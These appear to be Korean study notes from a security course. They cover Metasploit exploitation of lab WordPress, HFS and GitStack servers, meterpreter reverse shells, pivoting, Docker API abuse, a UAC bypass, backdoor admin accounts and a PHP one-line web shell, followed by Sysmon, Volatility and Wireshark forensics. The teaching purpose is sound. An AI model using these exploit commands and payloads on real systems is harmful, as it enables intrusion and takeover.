//다른 터미널 창 열어서 sudo wireshark 하고 msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > exploit
  • parameter들이 어디에 어떻게 들어가는 지
  • 응답코드는?
  • 쉘 공격
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > search wp_admin_shell Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > use 0 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.5.135 RHOSTS => 192.168.5.135 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RPORT 8000 RPORT => 8000 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME bob USERNAME => bob msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD Welcome1 PASSWORD => Welcome1 msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit [*] Started reverse TCP handler on 192.168.5.132:4444 [*] Authenticating with WordPress using bob:Welcome1... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/MDWCbkXfLH/AAVmWEtFDu.php... [*] Sending stage (39927 bytes) to 192.168.5.135 [+] Deleted AAVmWEtFDu.php [+] Deleted MDWCbkXfLH.php [+] Deleted ../MDWCbkXfLH [*] Meterpreter session 1 opened (192.168.5.132:4444 -> 192.168.5.135:58806) at 2024-05-02 01:48:55 -0400 //성공

Port Forwarding

  • 공격자 ---victim(웹서버 X)---근접네트워크(IP:PORT)
  • 우리는 지금 172.18.0.4에 들어왔는데 다른 곳을 가고 싶은거야!
  • 근접 네트워크 들어가서 다시 공격자에게 전달해주는 방식
meterpreter > portfwd add -l 5555 -p 3306 -r 172.18.0.2 [*] Forward TCP relay created: (local) :5555 -> (remote) 172.18.0.2:3306 //5555포트와 3306 포트가 연결되어 있는 것
meterpreter > portfwd add -l 6666 -p 22 -r 172.18.0.3 [*] Forward TCP relay created: (local) :6666 -> (remote) 172.18.0.3:22 //안되는디유? //아까 portscan했을 때 -p-를 했어야 함 www-data@8f4bca8ef241:/tmp $ ./nmap 172.18.0.0/24 -p- Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-05-02 06:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.18.0.1 Host is up (0.000092s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 2375/tcp open unknown 8000/tcp open unknown Nmap scan report for content_db_1.content_default (172.18.0.2) Host is up (0.00033s latency). Not shown: 65534 closed ports PORT STATE SERVICE 3306/tcp open mysql Nmap scan report for content_ssh_1.content_default (172.18.0.3) Host is up (0.00032s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 8022/tcp open unknown Nmap scan report for 8f4bca8ef241 (172.18.0.4) Host is up (0.000081s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap done: 256 IP addresses (4 hosts up) scanned in 8.78 seconds //172.18.0.3에 8022 포트가 열려있었음 그래서 이걸 타깃으로 8022 포트에 연결함 meterpreter > portfwd add -l 8022 -p 8022 -r 172.18.0.3 [*] Forward TCP relay created: (local) :8022 -> (remote) 172.18.0.3:8022
  • 그랬더니 웹 ssh서비스로 운영할 수 있는 docker였음!

- 그래서 다이렉트로 db 접속이 된 것

--> 이걸 이용해 db로 연결

- 그니까 우린 분명 3번으로 포워딩할라했는데 알고보니까 걔는 4번으로 포워딩해주는 애였다!

- 이말일걸?ㅎ 맞을걸 진짜

2375 port opened

┌──(kali㉿kali)-[~] └─$ sudo nmap -sV -sC 192.168.5.135 -p- //아까 이거 했을 때 2375/tcp open docker Docker 17.06.0-ce //이 포트가 열려 있었음
  • port:2375해서 criminal IP에서 검색해보면 엄청 많이 열려있음

- 도커 서버에 관한 정보까지 다 나와있음

--> 매우 위험한 것, API 서버가 열려 있는 것

  • 이 서버가 열려있다는 말음 밖에 서버를 열어둔 것과 같음

- 이 서버로 명령어를 수행할 수 있음

┌──(kali㉿kali)-[~] └─$ sudo docker -H 192.168.5.135 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 8f4bca8ef241 wordpress:latest "docker-entrypoint.s…" 6 years ago Up Less than a second 0.0.0.0:8000->80/tcp content_wordpress_1 13f0a3bb2706 mysql:5.7 "docker-entrypoint.s…" 6 years ago Up Less than a second 3306/tcp content_db_1 b90babce1037 jeroenpeeters/docker-ssh "npm start" 6 years ago Up Less than a second 22/tcp, 8022/tcp content_ssh_1
  • 그냥 바로 명령어로 제어가능함

- stop 명령하면 진짜 컨테이너가 멈춤

- 근데 이게 지금 실제로 열려 있는 것들이 많다는 얘기

--> 도커 설정 시 막아 줘야 함

 

윈도우 애플리케이션 취약점

HFS

  • 윈도우 가상머신에 hfs2.3b.zip , SysinternalsSuite_old.zip 복붙 후 압축풀기
  • kali에서 firefox로 들어가보면 웹 확인 가능

- 파일 올리면 바로 올라가짐

- 여러가지 취약점이 있을 것으로 보임

  • 이번에 살펴볼 취약점은 RCE 취약점
  • RCE : Remote Command Execute

- 실제로 WAS나 web서버 쪽에서 많이 나옴

- Apache Structures, JBoss, Jenkis, log4j 취약점 등

  • hfs가 실제로 파일 공융 서버인데 전세계적으로는 악성 코드 배포용으로 잘 쓰임

- 그래서 역으로 악성코드 없애는 사람들도 많았음

- %00 : null Byte 공격

- http://localhost:80/?search=%00{.exec|cmd.}

--> search에 %00{.exec|cmd.} 하면 kali창에는 변화 없는데 window창에 cmd 5개 뜸

- %00{.exec|notepad.} : 메모장 5개 뜸

- cmd해서 뒤에 명령어 입력하면 여러가지를 할 수 있겠쬬??


윈도우 애플리케이션 취약점 사례

HFS Metasploit로 공격하기

  • 사진은 그냥 하트 동그랗게 잘 만든 거 신기해서..
msf6 > search hfs Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/git_client_command_exec 2014-12-18 excellent No Malicious Git and Mercurial HTTP Server For CVE-2014-9390 1 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/rejetto_hfs_exec msf6 > use 1 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 192.168.5.134 RHOSTS => 192.168.5.134 //요 사이에 sudo wireshark eth0 잡아두기 msf6 exploit(windows/http/rejetto_hfs_exec) > exploit [*] Started reverse TCP handler on 192.168.5.132:4444 [*] Using URL: http://192.168.5.132:8080/sDhGctF [*] Server started. [*] Sending a malicious request to / [*] Payload request received: /sDhGctF [*] Sending stage (175686 bytes) to 192.168.5.134 [!] Tried to delete %TEMP%\KpvMlLFftSS.vbs, unknown result [*] Meterpreter session 1 opened (192.168.5.132:4444 -> 192.168.5.134:49171) at 2024-05-02 20:25:04 -0400 [*] Server stopped.

*참고) 접속 안될 때는 방화벽을 확인해보고 빨갛게 되어 있으면 지우고 다시 실행할 때 방확벽 설정 다시하기

  • windodw에서는 어떻게 되어 있을까?

- 파일이 생기고 뭐가 써져 있음

  • wireshark에서는?

- 일단 search 유형이 두 개 보임

- 그 중 위 search를 follow 해보면 위쪽에 공격 패턴을 볼 수 있음

  • 공격 패턴 decoding

- 윈도우에 떠 있는 것과 같음

  • 지금까지 한 것은 공격자가 윈도우 HFS에 공격을 한 것임

- 어제는 exec cmd를 했었는데 방금은 save 한 것

--> TEMP 파일 생긴 것에 SAVE한 것

  • 뭘 저장한 거냐면 : Set+x부터 } 이거 전까지를 저장한 것임
  • vbs : visual basic script --> 나중에 실무에서 많이 씀
  • 그래서 일단 vbs 만든 것까지 실행한 것임
  • wireshark에서 밑에 있는 search를 follow해 봄

- 공격 패턴 디코딩 해보면?

- wscript 실행하는 것

--> B+ NOLOGO : 백그라운드로 실행해서 로그 발생하지 않게 하는 것임

  • (wireshark) 이 밑에 http 요청 4번 이루어짐

- 이중에서 뭔가 성공함

--> 그러면서 마지막에 OK가 뜨게 되는 것

  • OK follow 해보면

- base64 형태로 인코딩된 것을 볼 수 있음

--> 밑에는 실행파일들

--> 젤 아래에 힌트 있음

- 폴더 임시로 만들어서 저장하고 exe 파일 생성

- exe 파일은 그 위에 있는 난수들로 만드는 것

- wscript.shell로 파일을 실행하게 되는 것

--> cmd로 실행한다는 말

- wscript.shell은 웹쉘에서도 많이 등장함

  • 지금까지 한 것을 정리해보면, 공격자가 HFS에 RCE 명령어를 수행한 것이고, 서버에 VBS 파일을 생성함

- wscript 이용해서 vbs를 실행하고 vbs는 악성코드 URL로 유도

- 악성코드 URL에서 exe 파일이 다운로드 되고 실행

--> 사용자의 관여 없이 제어할 수 있기 때문에 위험한 것!

*윈도우 포렌식 : sysinternals, nirsoft 요 두개는 거의 필수임

Sysinternals 활용하기

  • process explorer 실행
  • service에 등록되어 있는 것들은 자동으로 시작되게 하거나 재작동하는 등 중요한 프로그램들이고 그것을 관리하고 있는 것
  • lsass.exe : 로컬 로그인 인증과 같은 것을 담당하고 있는 것

- 윈도우 ID/PW 입력 -> 인증, 권한 부여

--> 이거는 못 바꾸는데 어떤 공간 안에 ID, PW가 어딘가에 평문으로 되어 있음

  • explorer 아래 있는 파일들 : 전체 사용자의 프로그램들을 관리하는 파일

- 뭔가 이상이 있으면 아이콘이 사라졌다 나타나는 현상들이 있을 때가 있음

--> hfs 안에 wscript들어가 있는 것 보임

- 그리고 그 안에 cmd가 있는 것 보이지용?

  • metasploit 에서 shell 명령어 입력하면 cmd하나 더 생김
  • 악성코드가 설치된 경로 확인 가능
  • 이제 리버싱하는 것이 사진 속 exe를 분석해내는 것임
  • 더 중요한 것은 어떤식으로 배포가 되었는가 임

- 4444포트로 연결되어 있는 것을 볼 수 있음

  • tcpview : 좀 더 실시간으로 많은 정보를 한 번에 볼 수 있음
  • 그래서 일단 이상이 있다고 했을 때 가장 먼저하는 것이 process explorer와 tcpviewer를 먼저 열어서 확인 함
  • Process Moniter : 정보 너무 많음

- 장점은 프로세스를 놓칠 일이 없음

--> 계속 띄워둘 순 없긴 함

- 이상 증상 있을 때 도움을 받기위해 보는 것

- filter를 이용해 원하는 정보 필터링 가능

- hfs를 포함하고 있는 프로세스 네임만 보여줌

- path를 기준으로 많이 봄

  • API : Operation으로 되어 있는 것들 -> create file : 파일을 읽는 것
  • Tool > Process Tree : process를 트리 구조로 보여 줌, command가 한 눈에 보임

- 더 자세히 보고 싶은게 있다면 include subtree하면 뒤쪽에 관련된 것들이 쭉 나옴

  • Local Security Policy > Local Policy > Audit Policy

- 4개 success, failure 설정

  • 윈도우 이벤트 뷰어 > windows logs > security

- 계정 정보 바뀐 것 확인 가능

  • metasploit에 windows logs 지우는 명령어도 있음

Sysmon 서비스

  • cmd 관리자모드로 들어가기
C:\Windows\system32>cd C:\Users\IEUser\Desktop\SysinternalsSuite_old C:\Users\IEUser\Desktop\SysinternalsSuite_old>Sysmon.exe -i -n System Monitor v8.00 - System activity monitor Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier Sysinternals - www.sysinternals.com Sysmon installed. SysmonDrv installed. Starting SysmonDrv. SysmonDrv started. Starting Sysmon.. Sysmon started.
  • event viewer에서 확인

HFS 공격 다시 해보기

  • 어떤 프로세스 쌓이는 지 확인

- Sysmon 확인해서 네트워크 정보랑 dllhost 뜨는 것 확인

- dll injection : 주입해서 pc 제어 > 명령어 쓸 때마다 dll host가 뜸

  • rdp 원격 접속하기

- 근데 지금 계정 정보 모름

- kali에서 shell로 들어가기

meterpreter > shell Process 3228 created. Channel 2 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Desktop\hfs2.3b>dir dir Volume in drive C has no label. Volume Serial Number is E0CE-337D Directory of C:\Users\IEUser\Desktop\hfs2.3b 05/02/2024 07:19 PM <DIR> . 05/02/2024 07:19 PM <DIR> .. 05/02/2024 07:39 PM <DIR> %TEMP% 08/24/2014 09:18 PM 2,498,560 hfs.exe 05/02/2024 06:06 PM 161 ~temp.vfs 2 File(s) 2,498,721 bytes 3 Dir(s) 122,728,812,544 bytes free //IEUser로 들어가진 이유는 악성코드는 감염된 것의 권한으로 들어가지기 때문 //웹쉘은 www 권한 C:\Users\IEUser\Desktop\hfs2.3b>net user net user User accounts for \\IE11WIN7 ------------------------------------------------------------------------------- Administrator Guest IEUser The command completed successfully. C:\Users\IEUser\Desktop\hfs2.3b>net user hacker hacker /add net user hacker hacker /add System error 5 has occurred. Access is denied. //IEUser로는 생성할 수 없다고 나옴 //권한이 제한되어 있는 것 //권한 상승을 해야 함 C:\Users\IEUser\Desktop\hfs2.3b>exit exit meterpreter > background [*] Backgrounding session 4... //세션 백그라운드
  • UAC (User Access Control) Bypass : 권한들에 대해 특정 파일에 대해 수정할 수 있는 부분을 찾아 Bypass하는 것

- 관리자 권한으로 세션 다시 맺기 가능

--> 자주 나오는 취약점은 아님

msf6 exploit(windows/http/rejetto_hfs_exec) > search bypassuac msf6 exploit(windows/http/rejetto_hfs_exec) > use 2 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/bypassuac) > show options Module options (exploit/windows/local/bypassuac): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: PS H, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.5.132 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x86 View the full module info with the info, or info -d command. //세션이 어디냐면 아까 나왔던 곳임 //나는 4번 msf6 exploit(windows/local/bypassuac) > set SESSION 4 SESSION => 4 msf6 exploit(windows/local/bypassuac) > exploit [*] Started reverse TCP handler on 192.168.5.132:4444 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Sending stage (175686 bytes) to 192.168.5.134 [*] Meterpreter session 5 opened (192.168.5.132:4444 -> 192.168.5.134:49178) at 2024-05-02 22:54:59 -0400 //들어가서 bypass할 수 있는 것 찾아보고 새로운 세션 열어 줌 meterpreter > getuid Server username: IE11WIN7\IEUser //아직 IEUser로 뜸 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM //시스템을 취득한 것 meterpreter > shell Process 464 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>net user hacker hacker /add net user hacker hacker /add The command completed successfully. //다시 들어가서 해보니까 생성 됨 C:\Windows\system32>net user net user User accounts for \\ ------------------------------------------------------------------------------- Administrator Guest hacker IEUser The command completed with one or more errors. //생성 된 것 확인 가능

- 일반적인 hacker 사용자로는 RDP 접속이 안됨

- 관리자 권한으로 되어 있으면 RDP 접속 가능

--> hacker를 관리자 그룹으로 넣을 것

C:\Windows\system32>net localgroup administrators hacker /add net localgroup administrators hacker /add The command completed successfully. // 관리자 권한으로 hacker를 넣음 ┌──(kali㉿kali)-[~] └─$ sudo nmap 192.168.5.134 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-03 00:35 EDT Nmap scan report for 192.168.5.134 Host is up (0.00054s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE 3389/tcp open ms-wbt-server MAC Address: 00:0C:29:6E:CB:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.41 seconds //3389 열려있는 것 확인 가능 ┌──(kali㉿kali)-[~] └─$ sudo rdesktop 192.168.5.134 //원격 실행

- other user로 가서 hacker/hacker 사용

접속 성공

  • Active Directory (AD 환경) : 어디서든 본인 환경으로 이용할 수 있으나 단점은 침투될 경우 모든 PC의 정보 획득 가능

- 업데이트 정책(악성코드 배포)와 같은 것들도 넣어둘 수 있음

  • APT 공격

공격 로그 확인하기

  • 공격 대상이었던 윈도우에서 IEUser로 로그인하기
  • Event Viewer 확인

- 권한 획득했던 시점 볼 수 있음

*지금 사진에서는 시간 정보가 다른데 나중에 프로젝트 할 때는 맞춰두고 시작하기

  • TerminalServices-LocalSessionManager > Operational > hacker 확인
  • Sysmon > Operational >Ctrl+F로 .vbs 찾아서 근처 보면 공격 볼 수 있음
  • 사실 이걸로 보는 건 불편함

- 지금은 sysmon 정보 그냥 봐보는 것

- 나중에 ELK 같은걸로 대시보드도 잘 만들고 해서 보면 됨

- 그나마 볼만한 것은 sysmon tools

- 여기서 32비트 짜리 다운 받아서 씀

  • Sysmon View 툴 열기
  • 아까 봤던 로그들 save해주기 (xml)로
  • Sysmon View로 save 파일 불러오기

- 의심되는 로그 정보 불러서 보기

- 클릭해서 디테일 확인 가능

- net 봤더니 hacker 만든 것도 찾음

  • 참고로 우리가 공격해서 이렇게 빨리 찾는 거지 남들이 한 거는 빨리 못 찾음

 

메모리 분석

메모리 포렌식 분석

  • 물리적인 메모리 덤프 (RAM-4GB)
  • 요즘은 16GB임
  • 볼라틸리티 같은 오픈 도구로 할 수 있는 한계가 다가오기 시작함
  • 최근에 클라우드 서비스가 경량화되며 다시 메모리 포렌식 부분들이 올라오고 있음
  • 휘발성 정보 : 네트워크 연결정보, 프로세스 실행정보
  • 비휘발성 정보 : 레지스트리 정보, 파일 정보
  • 메모리 덤프 : 꺼지기 전에 메모리를 잡아두는 것
  • Dumpit 다운받깅

폰 노이만식 구조

  • 주기억장치의 역할
  • 어떤 프로그램 실행하면 메모리 공간에 올라가게 됨
  • 프로그램들에서 파일을 저장한다면 디스크 쪽으로 가게 됨

물리 메모리에 존재하는 모든 흔적 확인 가능

  • 프로세스 정보
  • 네트워크 연결 정보
  • 패스워드, 캐시정보, 클립보드 정보 등
  • 악성코드 파일 정보
  • 윈도우 레지스터리 정보
  • 하드웨어 설정 정보

메모리 덤프 방식

  • 하드웨어 방식과 소프트웨어 방식이 있음
  • 보통 소프트웨어 방식이라고 생각하면 됨
  • IoT 관련한 것들은 하드웨어 안에 펌웨어 같은 것들 덤프함

악성코드가 난독화/ 패킹되어 있는 경우가 있음

  • 일부러 감염 시켜서 메모리 덤프하면 악성코드들이 해제가 되어 올라옴
  • 그래서 메모리 덤프 후 유용한 정보 사용
  • evtx 파일도 복원이 가능한 파일
  • 그래서 악성 코드 관점에서 메모리 포랜식을 진행함

메모리 분석 퀴즈

  • 배웠던 것을 바탕으로 주어진 메모리 분석해보기
D:\vol>vol.exe -f 02_gitstack_memory.raw imageinfo
D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 pstree > pstree02.txt

- explorer.exe → httpd (아파치 데몬) > cmd.exe 수상함

 

- powershell이 실행되고 안에 추가적인 명령어들이 수행되고 있는 것이 수상

- minikatz : 계정정보 ID/PW 덤프 도구

- pstree 위 쪽에 보면 Sysmon 돌아가고 있는 것 확인 가능해서 그나마 다행임

D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 netscan > netscan02.txt //네트워크 정보 보자

- 192.168.130.134:4444 의심스러움

- httpd.exe가 80포트로 동작중

D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 hashdump Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: //사용자 정보에는 큰 이상 없어보임 D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 shimcache > shimcache02.txt //심캐시 확인해보기

- 어떤 프로그램 실행중인 지 확인

--> 2018-11-21 11:31:04 UTC+0000 \??\C:\xampp\apache\bin\httpd.exe

--> xampp: MariaDB, PHP, Perl(Apache)가 포함되어 있는 프로그램

D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 filescan > filescan02.txt // 파일 스캔 0x000000007de4e958 8 0 -W-rwd \Device\HarddiskVolume2\xampp\apache\logs\access.log 0x000000007e7a97c8 9 1 RW-r-- \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx

- Sysmon 로그 파일

--> apache 중심으로 검색 : GitStack

--> access.log 검색 : xampp\apache\logs\access.log

--> htdoc \wordpress 확인 가능

- 참고) var\www → 리눅스 == 윈도우에선 htdoc

D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000007e7a97c8 -D ./ Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x7e7a97c8 None \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx SharedCacheMap 0x7e7a97c8 None \Device\HarddiskVolume2\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx

- dumpfile 확장자 evtx로 변경해서 window 7에서 열어보기

- 공격코드 훑어볼 수 있음

- 아까 filescan에서 보면 exploit.php있음

D:\vol>vol.exe -f 02_gitstack_memory.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000007c4a5108 -D ./ Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x7c4a5108 None \Device\HarddiskVolume2\GitStack\gitphp\exploit.php

- 만들어진 것을 열어보면 > "<?php system($_POST['a']); ?>"

--> 한 줄 웹쉘임

- cmd.exe → dir, ipconfig, whoami 등 원격으로 명령어 수행 (httpd로 들어옴)

- 복잡한 것 사용해봐야 IDS에서 걸림

- 이런 걸 RCE 취약점이라고 했음 (원격에서 제어할 수 있는 취약점)

- powershell을 이용해서 공격하는 것 확인 가능

- 4444포트와 연결된 것 확인 가능

  • 메모리 포렌식으로 하나하나 다 분석하기느 ㄴ어려움
  • 참고용일 뿐이고 실질적으로 참고해야하는 것은 Sysmon정보임
  • Sysmon이 운영이 안되고 있다면 찾아내기 더욱 힘듦
  • 포렌식 준비도 : 침해사고에 준비하는 것

- 침해사고 분석은 장애 발생 시 진행하는 것

Gitstack

  • 저장소 만들기 (test)
  • 사용자 만들기 (test/test)
  • 저장소에 adduser하기 (test)
  • 브라우저로 들어가 보기
  • Kali에서 접근해보기
  • 공격자 (exploid 에서 Git Stack 검색해서 다운)

- 웹페이지 쪽에서 인증처리 미흡 취약점

- 사용자들 페이지 접근 가능

- API : 저장소 생성 + 사용자 만들고 + 웹을 통해 exploit.php

┌──(kali㉿kali)-[~] └─$ cd Downloads ┌──(kali㉿kali)-[~/Downloads] └─$ sudo vim 43777.py [sudo] password for kali: //여기서 IP 수정 ┌──(kali㉿kali)-[~/Downloads] └─$ python2 43777.py [+] Get user list [+] Found user test [+] Web repository already enabled [+] Get repositories list [+] Found repository test [+] Add user to repository [+] Disable access for anyone [+] Create backdoor in PHP Your GitStack credentials were not entered correcly. Please ask your GitStack administrator to give you a username/password and give you access to this repository. <br />Note : You have to enter the credentials of a user which has at least read access to your repository. Your GitStack administration panel username/password will not work. [+] Execute command "nt authority\system "
  • 이후
command = "whoami" command = "net user hacker hacker /add" command = "net localgroup administrators hacker /add"

- 3개 하나씩 해보기

  • access log는 어떻게 남을까?

- 덤프가 안떠져서 공격 당한 쪽에서 직접 봐야 함

  • C:\Gitstack\apache\logs\apache 들어가서 봐보기

- whoami 같은 로그들은 남지 않음

- POST, DELETE 같은 것이 남아있는데 공격이라고 할 수 있을 만한 애가 많이 없음

--> 침해사고 시 웹로그 하나로 판단하기 어려움

  • 그래서 로그 분석은 여러 파일을 봐야하는 것

- 대시 보드 잘 만들어서 여러가지 분석해보는 것이 중요


패킷분석 및 로그분석

패킷분석

  • 크게는 두 가지 관점으로 보게 될 것임
  • 외부에서 웹해킹 / 시스템 해킹 된 것 패킷 분석

- IDS에 쌓이게 됨

- Snort는 Snort Rule에 의해 감지된 것만 보여주게 됨

-별도로 패킷이 저장되는 것이 pcap

- https://github.com/Security-Onion-Solutions/securityonion?tab=readme-ov-file

--> 환경 구축이 되어 있는 것

--> 실무에서 사용하는 UI 경험 가능

  • 내부에서 외부로 접속했을 때 악의적인 사이트 접속여부 (악성코드)

- A가 악성코드에 감염이 되었어 -> 외부 접속 패킷 분석

- https://www.boannews.com/media/view.asp?idx=129583&kind=1&search=title&find=%BC%BA%BD%C9%B4%E7

--> 성심당몰 해킹 됐음

  • 분석도구

- 와이어샤크

- 네트워크마이너 : 근데 이거 사용하면 와이어샤크 잘 안쓰게 됨

  • 네트워크 마이너 다운로드
sudo apt update sudo apt install mono-devel //mono-devel이라는 패키지를 설치 //이는 NetworkMiner가 필요로 하는 Mono 개발 패키지 wget https://www.netresec.com/?download=NetworkMiner -O /tmp/NetworkMiner.zip //NetworkMiner를 다운로드하기 위해 wget을 사용 //다운로드 받은 파일은 /tmp/NetworkMiner.zip에 저장 sudo unzip /tmp/NetworkMiner.zip -d /opt/ //NetworkMiner.zip 파일을 /opt/ 디렉토리에 압축 해제 cd /opt/NetworkMiner* //NetworkMiner가 압축 해제된 디렉토리로 이동 sudo chmod +x NetworkMiner.exe //NetworkMiner.exe 파일에 실행 권한을 부여 sudo chmod -R go+w AssembledFiles/ //AssembledFiles 디렉토리와 그 하위 디렉토리에 대해 쓰기 권한을 모든 사용자에게 부여 sudo chmod -R go+w Captures/ //Captures 디렉토리와 그 하위 디렉토리에 대해 쓰기 권한을 모든 사용자에게 부여 ┌──(kali㉿kali)-[/opt/NetworkMiner_2-8-1] └─$ ls AssembledFiles CleartextTools NetworkMiner.exe PacketParser.dll Captures Fingerprints networkminericon.ico SharedUtils.dll ChangeLog Images NetworkWrapper.dll ┌──(kali㉿kali)-[/opt/NetworkMiner_2-8-1] └─$ ./NetworkMiner.exe

* https://www.malware-traffic-analysis.net/

-> 악성코드 트래픽 공유해주는 곳

--> 압축파일 비밀번호 : infected / malware 둘 중 하나임

Sample File 분석

  • pcap_sample 파일 다운로드
  • wireshark로 ftp.pcap (21번포트 - 인증관련) 파일 열기
  • Statistics가 중요

- Capture File Properties

- Resolved Addresses : IP 무엇인 지 알려주는데 지금은 가상 IP라 안중요함

- Protocol Hierarchy Statistics : 어떤 프로토콜을 포함하고 있는 지

--> TCP가 UDP보다 더 신뢰성 있음

--> UDP는 네트워크 공유와 장비에서 보낼 때 빠르게 보낼 수 있어서 사용

--> 현재 여기서는 FTP만 사용중인 것 볼 수 있음

- Conversation > TCP > 서버와 클라이언트 주고받는 것

- Endpoints : 각각의 포트들을 확인하는 것 (Conversation과 유사)

--> 채용에서 의미하는 Endpoints는 개인 피씨 단말 담당자를 의미함

- I/O Graphs : 입출력 값 의미

--> 특정한 이상징후 확인 가능

- Flow Graph는 자주 보지는 않음 > 특정한 데이터들 해석해서 플로우로 보여주는 것

  • ftp=data 로 검색해보기
  • Layer 7에서 4가 될 때 segment, Layer 3 = packet, 실질적으로 중요한 것은 Frame

- MZ 헤더 : exe 파일, dll 파일, ... 의미

- 이거 자체가 덤프파일임

  • Export Objects > ftp > exe로 save 가능
  • 네트워크 마이너로 FTP 파일 분석하기

- FTP 서버는 현재 윈도우인 것을 알 수 있음

--> Open TCP Ports가 21이고, 리눅스는 다이나믹 포트들이 열려있기 때문

- Files(1)에는 파일이 알아서 저장되어 있음

- Credentials : 비암호화된 정보

- Sessions, Parameter는 참고할 만 함

- 나중에 패킷이 커지면 너무 많은 데이터가 나오게 되는데 헷갈릴 수 있다는 것이 단점

Nikto 분석

  • Wiresharkk로 보기
  • Protocol Hierarchy : 스캔도구여서 패킷이 엄청 많음! 18000여개, UDP는 거의 없음

- Line Based Text Data

- Form Data 폼 데이터 > ID/PW 별도로 있음

  • HTTP

- Packet Counter : 많은 메소들 있는 것 확인 가능

- 스캐너가 모든 매소들을 한 번씩 두드리는 애다 보니 한개씩은 다 있음

- 404가 대부분인 것 알 수 있음

- 스캐너들이 없는 페이지 계속적으로 요청했다는 것 알 수 있음

- Post로 데이터 넣은 것 조금, 대부분 Get 방식으로 페이지 요청한 것임

  • HTTP Request : Get으로 요청한 것 넣어둔 것

- 192.168.130.142 > 웹 서버임

--> 밑에 보이는 것은 순서가 아님! 특수문자 기준 정렬임

--> Burst Start가 순서임

- File에서 Export Objects의 HTTP도 비슷함

--> 각각 요청한 것을 프레임별로 볼 수 있어서 이건 순서대로임


퀴즈

퀴즈1

1. 공격자의 IP 주소는?

- Conversation: .152 만 있음 → 공격 하는 쪽

--> 192.168.206.152

2. 공격자가 서비스에 접속하기 위해 사용한 계정 정보는?

- login.php 부분 HTML URL Encoded 보기

(네트워크마이너에서도 확인 가능)

--> bee, bug

3. 공격자가 공격하기 위해 사용한 대상 주소 URL은?

bWAPP\unrestricted_file_upload

4. 공격자가 사용한 파일 이름은?

- File > Export Object > HTTP: Content Type 중요

- 접근한 부분(61번) & 데이터 올리는 부분 확인(110번) 가능

--> php-backdoor.php

5. 공격자가 획득한 개인 정보는?

- 261번 결과 확인 > 저장

--> 열어보면!

Array

(

[id] => 1

[login] => A.I.M.

[password] => 6885858486f31043e5839c735d99457f045affd0

[email] => bwapp-aim@mailinator.com

[secret] => A.I.M. or Authentication Is Missing
